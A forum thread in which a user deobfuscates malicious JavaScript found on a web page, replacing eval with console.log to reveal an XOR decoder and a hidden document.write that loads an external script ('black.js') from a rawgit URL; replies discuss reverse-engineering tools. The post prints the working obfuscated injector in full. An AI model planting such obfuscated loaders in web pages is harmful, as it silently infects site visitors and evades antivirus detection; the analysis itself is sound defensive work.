Desofuscando um código Javascript

  • Autor Autor zcriptz
  • Data de início Data de início
Tradução em andamento: em alguns minutos este tópico estará em português. Por enquanto, o conteúdo está no original em espanhol. Ver original
zcriptz

zcriptz

1
Xi
Programador
Verificación en dos pasos activada
Suscripción a IA
En el siguiente tema un usuario estaba teniendo problema con un código Javascript porque los antivirus le avisaban que el código de la página web era inseguro .

Para ejecutar el código voy a utilizar la consola del navegador Chrome. (F12)

El código obfuscado es el siguiente:
Inserir CODE, HTML ou PHP:
eval(unescape('%66%75%6e%63%74%69%6f%6e%20%65%62%36%37%32%34%61%37%36%61%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69%74%28%22%31%38%36%33%32%39%33%39%22%29%3b%0a%09%73%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%30%5d%29%3b%0a%09%6b%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%31%5d%20%2b%20%22%37%38%37%31%34%36%22%29%3b%0a%09%66%6f%72%28%20%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%73%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%20%7b%0a%09%09%72%20%2b%3d%20%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%28%70%61%72%73%65%49%6e%74%28%6b%2e%63%68%61%72%41%74%28%69%25%6b%2e%6c%65%6e%67%74%68%29%29%5e%73%2e%63%68%61%72%43%6f%64%65%41%74%28%69%29%29%2b%35%29%3b%0a%09%7d%0a%09%72%65%74%75%72%6e%20%72%3b%0a%7d%0a'));
eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%65%62%36%37%32%34%61%37%36%61%28%27') + '%32%6f%56%69%60%62%6b%1c%66%6a%5f%3c%1b%66%6e%67%6f%6a%3c%2e%2d%56%58%68%2d%6b%59%73%6a%60%6b%20%5a%6d%60%2d%5d%6d%58%6f%67%61%58%6c%6a%58%73%22%60%65%6b%66%2f%69%54%6a%6b%69%69%2d%55%60%5d%5a%60%2c%64%66%19%3d%3e%2e%69%56%6a%65%6f%69%3c18632939%35%31%38%34%34%39%34' + unescape('%27%29%29%3b'));


Primero cambiamos las funciones eval por console.log sino ejecutarán el código obfuscado.

Código a poner en la consola:
Inserir CODE, HTML ou PHP:
console.log(unescape('%66%75%6e%63%74%69%6f%6e%20%65%62%36%37%32%34%61%37%36%61%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69%74%28%22%31%38%36%33%32%39%33%39%22%29%3b%0a%09%73%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%30%5d%29%3b%0a%09%6b%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%31%5d%20%2b%20%22%37%38%37%31%34%36%22%29%3b%0a%09%66%6f%72%28%20%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%73%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%20%7b%0a%09%09%72%20%2b%3d%20%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%28%70%61%72%73%65%49%6e%74%28%6b%2e%63%68%61%72%41%74%28%69%25%6b%2e%6c%65%6e%67%74%68%29%29%5e%73%2e%63%68%61%72%43%6f%64%65%41%74%28%69%29%29%2b%35%29%3b%0a%09%7d%0a%09%72%65%74%75%72%6e%20%72%3b%0a%7d%0a'));
console.log(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%65%62%36%37%32%34%61%37%36%61%28%27') + '%32%6f%56%69%60%62%6b%1c%66%6a%5f%3c%1b%66%6e%67%6f%6a%3c%2e%2d%56%58%68%2d%6b%59%73%6a%60%6b%20%5a%6d%60%2d%5d%6d%58%6f%67%61%58%6c%6a%58%73%22%60%65%6b%66%2f%69%54%6a%6b%69%69%2d%55%60%5d%5a%60%2c%64%66%19%3d%3e%2e%69%56%6a%65%6f%69%3c18632939%35%31%38%34%34%39%34' + unescape('%27%29%29%3b'))

Devuelve:
Inserir CODE, HTML ou PHP:
function eb6724a76a(s) {
    var r = "";
    var tmp = s.split("18632939");
    s = unescape(tmp[0]);
    k = unescape(tmp[1] + "787146");
    for( var i = 0; i < s.length; i++) {
        r += String.fromCharCode((parseInt(k.charAt(i%k.length))^s.charCodeAt(i))+5);
    }
    return r;
}
document.write(eb6724a76a('%32%6f%56%69%60%62%6b%1c%66%6a%5f%3c%1b%66%6e%67%6f%6a%3c%2e%2d%56%58%68%2d%6b%59%73%6a%60%6b%20%5a%6d%60%2d%5d%6d%58%6f%67%61%58%6c%6a%58%73%22%60%65%6b%66%2f%69%54%6a%6b%69%69%2d%55%60%5d%5a%60%2c%64%66%19%3d%3e%2e%69%56%6a%65%6f%69%3c18632939%35%31%38%34%34%39%34'));

Al principio puede verse una función personalizada de "decifrado" (eb6724a76a) puede verse que luego con document.write se utiliza para así poder escribir (write) ese código "raro".

Así que para poder saber que dice vamos a tener que agregar la función eb6724a76a que nos devolvió el primer código.

document.write es una funcion que escribe en el documento (o sea la página web), así que la reemplazamos por console.log

Código a poner en la consola:
Inserir CODE, HTML ou PHP:
function eb6724a76a(s) {
    var r = "";
    var tmp = s.split("18632939");
    s = unescape(tmp[0]);
    k = unescape(tmp[1] + "787146");
    for( var i = 0; i < s.length; i++) {
        r += String.fromCharCode((parseInt(k.charAt(i%k.length))^s.charCodeAt(i))+5);
    }
    return r;
}

console.log(eb6724a76a('%32%6f%56%69%60%62%6b%1c%66%6a%5f%3c%1b%66%6e%67%6f%6a%3c%2e%2d%56%58%68%2d%6b%59%73%6a%60%6b%20%5a%6d%60%2d%5d%6d%58%6f%67%61%58%6c%6a%58%73%22%60%65%6b%66%2f%69%54%6a%6b%69%69%2d%55%60%5d%5a%60%2c%64%66%19%3d%3e%2e%69%56%6a%65%6f%69%3c18632939%35%31%38%34%34%39%34'));


Devuelve:
Inserir CODE, HTML ou PHP:
<script src="https://cdn.rawgit.com/ancoknamhay/lite/master/black.js"></script>


Entonces el resultado final sería:
Inserir CODE, HTML ou PHP:
document.write('<script src="https://cdn.rawgit.com/ancoknamhay/lite/master/black.js"></script>');

Pone ese archivo Javascript en la web donde se encuentre.
 
Última edição:
Foi útil? Participe da conversa

Com sua conta grátis você pode responder, mandar mensagem privada ao autor e comprar com Saldo retido: o pagamento é liberado quando você recebe o combinado.

Leva 30 segundos · você volta a este tópico ao terminar
que herramientas usaste, en algunas ocasiones tiendo a realizar ingenieria inversa en archivos .NET donde utilizo los siguientes programas:

Dnspy
de4dot.
 
que herramientas usaste, en algunas ocasiones tiendo a realizar ingenieria inversa en archivos .NET donde utilizo los siguientes programas:

Dnspy
de4dot.

La consola del navegador. (F12)

Editado y aclarado en el tema! 👍 gracias.
 
Última edição:
  • Curtir
Reações: kj2
Muy buen aporte, gracias.
 
Voltar
Topo